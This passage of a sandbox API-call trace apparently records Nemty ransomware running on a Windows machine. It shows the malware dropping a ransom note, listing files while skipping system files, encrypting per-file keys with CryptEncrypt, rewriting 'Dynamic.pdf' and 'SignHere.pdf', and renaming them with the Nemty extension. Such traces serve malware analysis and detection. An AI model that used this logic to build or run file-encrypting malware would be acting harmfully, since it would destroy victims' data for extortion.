lpWideCharStr=0x0) returned 16 [0188.528] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0188.528] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0188.528] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.528] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0188.528] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63404e8 [0188.528] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.528] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x6343fe8 [0188.528] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404e8 | out: hHeap=0x4f90000) returned 1 [0188.528] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\FRA\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\fra\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0188.529] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0188.529] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0188.529] WriteFile (in: hFile=0x2f0, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e1c0, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e1c0*=0xef8, lpOverlapped=0x0) returned 1 [0188.530] CloseHandle (hObject=0x2f0) returned 1 [0188.530] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0188.530] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340430 | out: hHeap=0x4f90000) returned 1 [0188.530] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340430 [0188.530] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\FRA\\*.*", lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7feb61e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x24040d90, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x24040d90, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423b30 [0188.530] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0188.530] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7feb61e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x24040d90, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x24040d90, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0188.530] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0188.530] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0188.530] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7feb61e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x30eb7, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0188.530] lstrcmpiW (lpString1="Dynamic.pdf", lpString2=".") returned 1 [0188.530] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="..") returned 1 [0188.530] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="...") returned 1 [0188.530] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="windows") returned -1 [0188.531] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="$RECYCLE.BIN") returned 1 [0188.531] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="rsa") returned -1 [0188.531] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="NTDETECT.COM") returned -1 [0188.531] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="ntldr") returned -1 [0188.531] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="MSDOS.SYS") returned -1 [0188.531] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="IO.SYS") returned -1 [0188.531] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="boot.ini") returned 1 [0188.531] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="boot.ini") returned 1 [0188.531] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="AUTOEXEC.BAT") returned 1 [0188.531] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="ntuser.dat") returned -1 [0188.531] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="desktop.ini") returned 1 [0188.531] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="CONFIG.SYS") returned 1 [0188.531] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="RECYCLER") returned -1 [0188.531] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="BOOTSECT.BAK") returned 1 [0188.531] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="bootmgr") returned 1 [0188.531] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="programdata") returned -1 [0188.531] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="appdata") returned 1 [0188.531] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.531] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0188.531] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x653e210, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Dynamic.pdf", lpUsedDefaultChar=0x0) returned 11 [0188.531] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0188.531] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0188.531] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x653e210, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Dynamic.pdf", lpUsedDefaultChar=0x0) returned 11 [0188.531] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0188.531] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.531] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.531] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0188.531] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x653e260, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Dynamic.pdf", lpUsedDefaultChar=0x0) returned 11 [0188.531] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.531] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.531] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0188.531] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x653e298, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Dynamic.pdf", lpUsedDefaultChar=0x0) returned 11 [0188.531] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.531] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63404e8 [0188.531] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340430 | out: hHeap=0x4f90000) returned 1 [0188.532] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6343fe8 [0188.532] Sleep (dwMilliseconds=0x5) [0188.539] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x24066ef0, dwHighDateTime=0x1d561e8)) [0188.539] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x24066ef0, dwHighDateTime=0x1d561e8)) [0188.539] GetLastError () returned 0xb7 [0188.540] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0188.540] GetLastError () returned 0xb7 [0188.540] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.540] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0188.540] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0188.540] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0188.540] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0188.540] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0188.540] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63440b0 [0188.540] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x63440b0, pcchString=0x653df5c | out: pszString="Ct8O5UzCexYDyf9Tf9d3YsGP9of3mq8/dZ6psi+3E6uj5aw5ij2Y80hj9Kk9dssj\r\nGdsCBaviIhSkFbELhBTQZjlhu0fn/3O8Z/Z3O/dM1ExWOVrv8KRdQ4f/u2H8fESV\r\nYH/57R+W4NZMeaG4CSVvsvg+FZx/MsmuEKG4x5gFV1sG2brZ5UE4+j/N28+hnIEg\r\nbey1INpcDq/t7PrPlieT7wcFQxDzd7gnSRxQSTV1NAXCxUzM4ifx1teZapGdA07Y\r\nrN/PtXH4i9o0KW8yfseEBAtZAjRW7TSwjYv5WP8+mctLR1IkXJXS9+LbFlVi/oTR\r\nvrq9wzOYWGUGKbR4RwYacw==\r\n", pcchString=0x653df5c) returned 1 [0188.540] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0188.540] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0188.540] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0188.540] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0188.540] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63440b0 [0188.540] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0188.540] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\FRA\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\fra\\dynamic.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0188.541] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=200375) returned 1 [0188.541] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0188.541] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0188.541] ReadFile (in: hFile=0x320, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e1a4*=0x19000, lpOverlapped=0x0) returned 1 [0188.550] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0188.550] WriteFile (in: hFile=0x320, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e19c*=0x19000, lpOverlapped=0x0) returned 1 [0188.550] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0188.550] SetFilePointer (in: hFile=0x320, lDistanceToMove=200375, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x30eb7 [0188.551] WriteFile (in: hFile=0x320, lpBuffer=0x63440b0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x63440b0*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0188.551] CloseHandle (hObject=0x320) returned 1 [0188.551] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6344220 [0188.551] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0188.551] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0188.551] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0188.551] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0188.551] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0188.551] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63442e8 [0188.551] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63443b0 [0188.551] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63442e8 | out: hHeap=0x4f90000) returned 1 [0188.551] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0188.551] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\FRA\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\fra\\dynamic.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\FRA\\Dynamic.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\fra\\dynamic.pdf._nemty_kgobjgd_")) returned 1 [0188.552] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63443b0 | out: hHeap=0x4f90000) returned 1 [0188.552] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344220 | out: hHeap=0x4f90000) returned 1 [0188.552] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0188.552] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0188.552] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0188.552] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0188.552] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.552] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0188.552] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7feb61e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9d75, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="SignHere.pdf", cAlternateFileName="")) returned 1 [0188.552] lstrcmpiW (lpString1="SignHere.pdf", lpString2=".") returned 1 [0188.552] lstrcmpiW (lpString1="SignHere.pdf", lpString2="..") returned 1 [0188.552] lstrcmpiW (lpString1="SignHere.pdf", lpString2="...") returned 1 [0188.552] lstrcmpiW (lpString1="SignHere.pdf", lpString2="windows") returned -1 [0188.552] lstrcmpiW (lpString1="SignHere.pdf", lpString2="$RECYCLE.BIN") returned 1 [0188.552] lstrcmpiW (lpString1="SignHere.pdf", lpString2="rsa") returned 1 [0188.552] lstrcmpiW (lpString1="SignHere.pdf", lpString2="NTDETECT.COM") returned 1 [0188.552] lstrcmpiW (lpString1="SignHere.pdf", lpString2="ntldr") returned 1 [0188.552] lstrcmpiW (lpString1="SignHere.pdf", lpString2="MSDOS.SYS") returned 1 [0188.552] lstrcmpiW (lpString1="SignHere.pdf", lpString2="IO.SYS") returned 1 [0188.552] lstrcmpiW (lpString1="SignHere.pdf", lpString2="boot.ini") returned 1 [0188.552] lstrcmpiW (lpString1="SignHere.pdf", lpString2="boot.ini") returned 1 [0188.552] lstrcmpiW (lpString1="SignHere.pdf", lpString2="AUTOEXEC.BAT") returned 1 [0188.552] lstrcmpiW (lpString1="SignHere.pdf", lpString2="ntuser.dat") returned 1 [0188.552] lstrcmpiW (lpString1="SignHere.pdf", lpString2="desktop.ini") returned 1 [0188.552] lstrcmpiW (lpString1="SignHere.pdf", lpString2="CONFIG.SYS") returned 1 [0188.552] lstrcmpiW (lpString1="SignHere.pdf", lpString2="RECYCLER") returned 1 [0188.552] lstrcmpiW (lpString1="SignHere.pdf", lpString2="BOOTSECT.BAK") returned 1 [0188.552] lstrcmpiW (lpString1="SignHere.pdf", lpString2="bootmgr") returned 1 [0188.553] lstrcmpiW (lpString1="SignHere.pdf", lpString2="programdata") returned 1 [0188.553] lstrcmpiW (lpString1="SignHere.pdf", lpString2="appdata") returned 1 [0188.553] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.553] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0188.553] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x653e210, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SignHere.pdf", lpUsedDefaultChar=0x0) returned 12 [0188.553] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0188.553] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0188.553] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x653e210, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SignHere.pdf", lpUsedDefaultChar=0x0) returned 12 [0188.553] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0188.553] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.553] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.553] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0188.553] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x653e260, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SignHere.pdf", lpUsedDefaultChar=0x0) returned 12 [0188.553] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.553] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.553] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0188.553] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x653e298, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SignHere.pdf", lpUsedDefaultChar=0x0) returned 12 [0188.553] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.553] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6343fe8 [0188.553] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404e8 | out: hHeap=0x4f90000) returned 1 [0188.553] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340430 [0188.553] Sleep (dwMilliseconds=0x5) [0188.555] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x2408d050, dwHighDateTime=0x1d561e8)) [0188.555] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x2408d050, dwHighDateTime=0x1d561e8)) [0188.555] GetLastError () returned 0x0 [0188.555] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0188.555] GetLastError () returned 0x0 [0188.555] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.555] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0188.555] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0188.555] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0188.555] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0188.555] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0188.555] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63440b0 [0188.556] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x63440b0, pcchString=0x653df5c | out: pszString="237NH5CAMzfRH2fqChf7vUjKwvN2uyCWRBpUMzYV87gatfaO+5nwvtRbPISfWMQh\r\nQQg+/fvrMv6wFVvhjwLaINKKFvwv151GFnSWNrbkNa2GXQruz530ywIfvLtAbrx9\r\nBa7FHr7vcLRAKrxsAnWOuLO2CTng7bst3oO5/4BkXkMo6aV9J2NgOuSP0YzABuPr\r\nK9L/5vLgYq8449PzoumJJiCepuwFRCYWKSlAlx0wLDc5wZ47TRKnDGJVdInsPzfD\r\n1RgUdk9B5ANmWAd2V7f+uopLS30DB5jgFeU1E0eq3CbNnC/e9HMQTZPRDfdkh40n\r\nH/eRqdISMQXjxchmM8I+hQ==\r\n", pcchString=0x653df5c) returned 1 [0188.556] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0188.556] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0188.556] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0188.556] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0188.556] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63440b0 [0188.556] RtlAllocateHeap (HeapHandle=0x4f90000, 